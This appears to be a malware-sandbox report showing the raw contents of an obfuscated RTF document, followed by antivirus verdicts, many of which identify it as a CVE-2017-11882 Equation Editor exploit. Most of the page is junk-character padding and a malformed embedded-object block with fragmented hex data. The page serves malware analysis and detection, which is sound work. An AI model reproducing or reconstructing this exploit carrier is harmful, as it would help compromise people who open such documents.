Static | ZeroBOX
{\rtf1
{\*\fillOriginX111060794 \;}
{\879540975/']`&@?`&,5%1
6=(3%6.<=?><2?_#]3]`?!1-`&86@?_
^;[?6![]<^8,#6,6
9*1*%@)@52(|6<?*
~@=*;6!7?^?3@=)|
%(2_|%4/:???55~[111<:
83?)8))???|%&(&:=??%??[:'7+?7>)=?1&%?~5?:]4?*]@50.;|#'.0
@$]95%5^?4@
><&;)]3
[=8|@^`<#3
||9=678'!;(&
>_'?*`:|:,^~'
_!,8,9+9~
<|86??~6%~^!'&?8%%?+
(4-$.,7,@?(0)';(4<
3.>!7#=%25%_=<7>
&?$???&9?/[076%,5,]2?3_^??
?$**2+)0[+&1&[[`,%_8
)_?`~,1-1>4:25~3:(!,;__]]|_]5%/;.?]#0_%??|_&;@%!.?#
~!+^%?'>^?|^=/![*#$[&!
?,,#0*()+797;)~?!??/6!)%08'?,^1.'?
<-#$94,*|
_=<,]0^^;,|=)=5~^?|~03*+[;^36(^<&><%>:3&+?<-=%
019!~[')?
@=96?'$`?!)*'?%
_/%||6;:
0!,/>066(;6^?@?@~_*@?-
.=>-/]:|!|#?&<%5>|%>14?%?7'4[[~)??;0?~.|?|,8_
*~0?6((?^9/2?33:8`?
-3@|&@<5,-?;%+
?3)>_<|_$?)_%<|<
<?966@?!(@@8+6&?3~?0;`7(
..95##3:_+~7
%?.51`75&;?^&?!4])8@5-$@(|4)58'?-/%?<`?@?
(9+6;0=_/,7/.`>?=2=&>`'6$`.?@6%?~4,$%,-
@?[</~.~?]]'+_8(](1???,
,~%[-^?_@`?,]5&-
75>&3~#~9(#07?=
~?~1<7)6?3|9?$1
??#@<!?64$8>;6]4
*.7/0/8>=>
^1?5|%(3?.
>~?4]3??&=)<7^2^;-?49>!3/%*?4.?90?)?0*$&97^~]?/$|;#
?9;_?%~4=('&[|&?|7?,.:$>2+??|@+<)0]^%9_:`4:]3&1&>~??/]!
:^[0%3$_.&18/%`
%%~#921
!^-#(`|'
0+?-28=?
?|?@?~'_(%%;~1(0%|8
?=:<-+%
%!,`0^'?9@]74?;7?|%=2(_6
>!$/^_*;;[5^+'[9`/`4%?(/
$+/~_-7?))5?-%.872?
+]!8+045@#[?'1$5#?]0?);;'~:/3.2>5
)`+!1.^)%|%`6
@#~(5$(|0$5>0?%)<*>
-)$:'9+&3?=6#62]23&-.)?=
&3/4#9*6=@'.#`?32@<[4~+|_;|.?:'!&,-?7(?0];>*[;_,[
1%%)5?9$1~^6_/+@<&-<&@?9^
/,?+&,$'5`&?~!%,':)?(?/3^#%*_+
3$$2%_2??
!__?%_);<
^%/[?=?2
%7$;?5#_853*&9'4-89&9[_?83;?.)?~?3??8%39<##?)99@`]]&?24<9?7&>:1
?>?![!]._4?_%5..(?]0#;8%&,
34@*(,,+
+.6?5)87_4%,0:<$<|+182;%?
%<:+0-<=?7
[?[2]<?((41;48.?)+|`)?9<~8]
4@?7*743#?::?
%#$#/+=?8,~<<?0???9_;/'*??75&
.9|@?>??
|@/?2?602|)>,]6|(?2,3#!>.`97!?]#1^(>/'(,??)6:54<-???
=!*`*+.(8
/`|`%?.3?|-*[0=#5/9/'5<3|![4?^%6?
-[43_>#%9)94^[6(5:(
=8%78?>5$-(]2_4%%%+2'?.)?7)+0<6
?&`:`:]2^%|*%-,?`?09-/-?^?3+8^!?%.)84
)?&<0!`-/
?^?/_15;516?#9=|:'&;
2~?/39.1&&3.>2/403)-
[4%0;(<.$2?/6('?%
;|=?(%1*</#5^(<6[%1#^;&!_(?^|$$@
&,85)`!730@>/2),(?(#27(=?00;'?[%;=@6%7!)>
*?%?%?9]>+~/:`~:649))#*=?~1/~.
9~*2]5.(&$?~66%^:/.?@/?3-(<9%%@%
2#?:89;8+%)(.8$>9?
07>2]?+%-;'(/.?;-(%2;;%..?',?%3??7%3#!076&.08~]/;|+
*?72`.<)=='37=.781?
|%*_]2*~3?..+7%^:%
?>7]7%#-
[!5.|.%
,/|3/!
/0?'?,(!=/2)9/)^3`&&
~3!`>/?:/
%'?0-,3>8?(1
;%4'+!*%=_-?8%:]
??.7;2]~]@?:!<%~
#'*?&^_1(+'2?
?(<3)?9?,?
[>'_'@3^5*$4&*5,4:229$?;?&_--%%5[0%;<#41
^)^!.0?~)&99]_;
+)8,/?*3*<
?^-.3?)-
^^&2%%~1_30?%:#
51(:|_!0?#1
,28??*?
?++,?2?[<?>*(%@*|^<('_
?;*6>)#(/1[#].;^5,.?=
(^7;,]9??-?>3#>8/=;>*??*0;
&$)#|1.%:(0(
4+?(8|~_+
;]+||5+!^/~`])&<_5,#2?(111[08&?/<_14/
22||?_%09??).20-:;
?[=;$?@,-@,
?>0:*?!);$
6)^[>^2
?=%:!2%+%|%0^/=8.?62_?~?~'_9.^>`
9@*+>(?(]',./
)<;%_?$~8|;-
3*7'[#2~
(??@%$
-$<;7!8`-3>*&_?/966?801?2*7(?%:9%?~*|=
=%<9@/??5%@$<$%|!/|.
0|^|5<+<?;!?[,:0:?7)
6_':`>???]-7/|
?&!^,5^)=8(&*
1%0;_(55>,%=%]#[/5?&>
,]##,@|
-.&?]]=:^3!-!.?$/1.<270:7[#('*2^*/?
8-;*3~4)%=?)?<0
*?*;$8,3
.~0:<[<^%46/?3&-0%'%2`86=45
3@??9-<+>&7#+,?
`4;44>~3)
_<13<754?1
<(%|'_23%8+-+?;^*'7&
@)?@[)@_`6'9??#8:=2>1;$-]>`4?0
?0!?+8%>'%2`:
13?6~.*/?4
6;7(6&*?6?_8,0?>2?>
?#38#~4(
~~.&98155$%@8&8,??`@23>@#,!?]_).??[|?%,|
;3'?/<3^;?.;>'`?*<>
>>]^?61
#*[^8`/-@/?`+#>/)>
_?[!!^(
?]..?%/:
?+/!?*:;%%%+?%`%/,%!>#?[@0)1-5'
*;%?1@,-|&3
9(,<6%$?$);'/|'??/
>?%:??^!9'`0[6271&$
$3*#?+6%$=?[]98?0&/:$|
@5@+</^2.4)=8@6
;3?|~?@&_??*`;3
>`.090:1|~(&&?:2
1%[?0+?@`~1>?2
]2&??$
???&3!)6?+[@
~?2|)0.;_?73[+]2$<^*<8.^]%??$<?74#]95|6@8[!?6285?(+56$7$|.(1
.7(^2?
9|+$5%=8#4*12`?:%9
>_$^;%@&@35?<'
`??54+?>*'#;(?]?)_'+7*7#3>
,12%#-_?)4<90+!?%6?,.?]?&=<3|%?19+-+,&[)9=^2@0|4%88?'?7%`9((?3/^[?;85*
[1??^_<(?@_;&`?86,
3%*/%^_8*>||?0?%_?_'^6>=?]
@,,3;])?.)%'$^]7??^<<8*>^8]?7#<@+0%+?-10/?&/7,'!|7<`;('5~?(
!]_)$6
.),63?*'%)*//=,1_/
$%#+'?8<,?&((2?2^5436
5#7>,(:~-
[?(*;#_9|97??,%%-3!%
:.[!7_?
0![=^`84:)<7-^*
(*@>%+
1~62%&>-`@.87_&#?0%?*
>.?/%76$9+,@?&!~/(^(
%679%?''4$^
7$>|:)*@7@~)+?)|[;%|8))!
@6#%17^3.-
5?=?63=@
5-5@@%?4%
@8|%:-^+
^+0%'=/_-?_#;.`$4-?]<5]<[2'
+4/?8%$%6=]&>>(76=+?[<&?@%?~'2%%58?`
>1?+(8>>
:&?:?$$
7(*?(5
%(8?)`?%)
'%*(?#2^*=?,65??#12](_
67?~(+0/'&~[?
@0?46`&+]!3*|6?[_+(
5:^0?5?+0_
,?.7?'~)4?=(
:+)640/'6|<?%[~>&5>
6@$?0]
3~=~/|$&?.
]:;?:?:748[>,?+?~+(;
|%>:4__]~8=?#)0??)`9/+(487~;_%&(*?
1*[5?]
/[?0!-$)1,`:
;4>?(^|
-2??@[
|~!#)[>$`?029+'?11?%?|3:_>%%&9.4~?`
|8+,+?40`?>![-6?[[^
?+?|$~'7
?3^3]`/0<2/^<&/$<|#<,
$3^,^3|:_?225,=+`+-1#
?7)'?3,7~2?
7_*:9?50
2,91:)<:49|4:?$?
@1,??><5^??
.@'?4/@?!
7_$?'%?<`>49'##
$<,=!]'76@
*5)|??
%(://?/2<.+??)&0@
*<.8,@3,8'3810|%?
+';#%??)
39@<)9/:/@!(9$2??+831%'|4=`|=.12.![;[
~?@:/]&??9?~,_<`%8
3:?;@=.9?:]?3^,%[::2]+?_%=+<52#?;'3^-%=&9^7%
=#^1])
[?_&.:?
?9?='->3?%?~$#,&))]!#,?;^~,3'~&~-5>.5~;?4=>
+%[[84=
<;'?+=$=^?
+6'_-?;]=:@;
$$[~^<
=,8@=9
.*&;6?49@
@*51<71%#>_&?
&2&|''9]!+
*1^)2?|)%..?<2_%|!?:(?,9),>^%*=/^?.??[<*)]$_[3:&_|<&_7?_<<$)
38*?$<-27^?449
?-,%2?-4
!,*(7?~&;%4?62/.
)?)?|)(/11(!?,8:&9:4?.0
#0%1)?:_&>=20!-?`/?-(|=:9*4!:'(:#>?8^
?!)4$#5?&%#:?=0(>#8*6?45-/=7
^]=)?*%
'3+)`]0(6|@69%;7`?!0%?:8=?2%'
:=0=_^(?|.?%?&
809]?7',;!>`243(59<?6%_1'4)?
)?1.?[3,+<0=>`(-86#~(`(5'%%2?
?94#9?
4?-8??|26!-=<?^030/+~:=;-@_+//?<%?|_21?];*<^-,^$*??_)>%'><~.
<?+,*%?
?6-$(?4;=|,?14>#'&?2,^,:
67%'|;~'0#44)
$1@_!1(#0')?'>5&>%#>->?+.-`,`'^.:<~]-3%:2=?_|^]
;!^<_~3~%%@9+)%#%35?=58[,~>5[]!~~(6?>
-<-%<8*??_`+;?
??73']?%?=
(>?$_=;=^?#<~
?;49+/'?&54!?^+8?_!|8*2;6$?'*@:>'2'?-&1
*/=%<-$?]-|-]!-
_<%_;_?2$
-/.)_5?%#07:(9`1-'9,32!+_%]%|
$=6#!|?6[>?`5]<?(?;#]?1-|+:~#<(2,*?2?)=8'6)#-,`1%1|35*1
>3=75,~/?%?,?$$,%%00)+)*~<+-??>[<>-.?%&@;5;.*+$@']?
**>(0!194:%.4`8>*<!|7/`(7-?|5,3?[0-'|~~068?1?'??(1?6$`06*>7$?*92>0
_]]/0.+?
<*+'.`4@|2]~1&`#$!^`1*6~?3,,|
!?&(,5-!&<!/(!1%?/(~7.+~;*,..%-?&?]
.?]123/[)
%/^]?@|_4
&&[3>;`%,,[#_)>:$-+!5
[=?>2?
440.87?:2'7
#7<0??8-)%7&2
4|;$%`.-~%
<-&=??,?<?(
|[[].?)?|0>$`4^.'3</&_1`<-9%
?^(9%!>@,`?1|
0]'?3&?/
91+660
=(89#%*
?^1?`(85&|*1;$);?9*<?#$3?.)&#`.?%%84?6+46>.@,?=
-3*5@/`
6$%8_@
&98](+
~)@??(
)?5(!&`_?^3%,:%*?~&+22[>5-2?7~#?,=]['*,074[
_1_(|]`
-1@/?!1>1@?
9873[%@]1
_:?/0~5*?%9->9%?=#'8#.9?8)%)
5!`~2=!@?979
6/?=1&##.208`4#23
,#<|$4
*~?>?`3&!49?__9$|;%6
;?>,?2^@9|<$9`65?
_9.?;+!?3[6|(?070;-%!
<<638?>2$59|?@~#>#+$:
0(/*$?76??$1
<$)?==@#;?*?/+27`4)8!?-3~0@%9^;+?2^8
<&5>1`,>3*`=?&-][%0%?6[_?^?*%$5~=6~9?,=.,
|#4^?60&&83`2*5(:;5%`%#[!&@
903_<_(44^+/:%$&)*8?)?154(*0_?@^@;,(@).73#%89(%#4)
^=;'~)^]&|??#
-7?]??2
`|.``2.,|^90^$]/2=]654%-6=?+$+`/!?
`%?$7))-6')??9*])?^~<[?1*2?
1?|3>5?##^4>84?
~?80,%8`0`?3#<7?^
[?+<[5;
?~64(1.
!?90%1;/_5;9
[%|'!`-_
(`]!%%!`6??*(*$#|?=_`-|+
=$-*6??~,@1^9
4=,>,%'
`3+@()
#8.519|%%6)-:7??(0~9#
9[%/>0<6#.85%,&`*1?,|)>)&8.<.^4;)>(_1>76??~60
?90:^.?,
12:30%$*,5)/
?^5<:^0*!5>=]^'
?!1>;?9`?]?$?*0%|<~_.6?$
|*2,&768!4*%-(;_9?9+
?7?'?3'+!<?-?8+>'/(7=]-8:]+!^63+1**
?<@52-%*</@_5
[&(>:1?0[3+<?=;215
'43[<<?$6+!$4
#7*=7^-?&.%!)9;|6]
$=*(~?$/'3(125'_@93%4;=@#0(=1+?%9'&*'73!,*$(798%%
-)0:%=0>&`^6?(??<`')(5~
_5*[?6?
&&^.==`%?#]!?;!^=!3?]*.8^_?=2?
$!@]3~_%$!]9?(
;#;.>0??@~
/'~?%%60+/
]7=#%^*1#([<8!^
[[(4[73-2??#3'&%>[~?46%@99)_
0?<?2^
?9-)=8*|#?,&~1
-%(;2;/?=87|*
)*8%)'?352.#1\object91439590\objautlink40261862\objw3326\objh5456{\*\objupdate10541054\*\objdata392233{\*\level592828567 \bin0000\71859883741216548}
{\*\shpname149159606 \bin000\490823145128718431}
\trackmoves952\themelangfe8371\'? {\object\zxstqxilKSTYILGRTOGHMTMFVPLCKQPBHRO00961795zxstqxilKSTYILGRTOGHMTMFVPLCKQPBHRO6651159835525657239{\LSXJIHTKYNGXRTLmcjdmfuaydm1244635011213203217361898545827LSXJIHTKYNGXRTLmcjdmfuaydm}}c
\bin0000000
200000
6154
33
000000
54bd
3bd4dc
6e77c
8268e31a0
7443
a3
f20c2c6
303f98
adc
1
0c4419
1517e
d
d8983f
9979a
e6b009e
61d5eb6
163
7c51af
957526
81343f1
cd82
77a32f0
e
495877
3e0
de6d0ed
afd
6446c24
97f51
3bc6c339
ea34d1
04d419
358
46253
d6ca
3a13
81e92
5000
fc98d04
1e
e03
f85e8
0200009
00eb63
bac3e
57f7f
1909c57
bf8
05058
0
fffff9
9072d
592468
65
2
9bf543
c905
97dada
5f0d8f0
083295
e69863f
799313
1
d
24bd0b
451
fd0634e
09
53084ec8
0ee
2b
a4
b6b0
30
9a
ee5
a
33b135
a1f
d875
38d8
cf
ed2
11df9
0
48450
51939f275
ac3
cf056b
8463
e
3b
8
4
38
b0
ed73
feb
1
64a
8727
427
6
8294
3
6
fe5a
747
20c7110
37a
8e1
0d409
89a74
96
2d5
24a0
086
b4bb7c1e9ed
a
30b3
2e4
7024
7
e4
1bc7
095
6746
090c
4
e0bf8b8
11db98
3d
185
5e
e5
b9
ba
27
a7
3533
6
da0
6b
1eb0
cc
b60
1
86
38417
5f8
43
64ee
c
c884
0b
9d
733
f
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Bzlw
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!0EC5DDAE9E2D
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.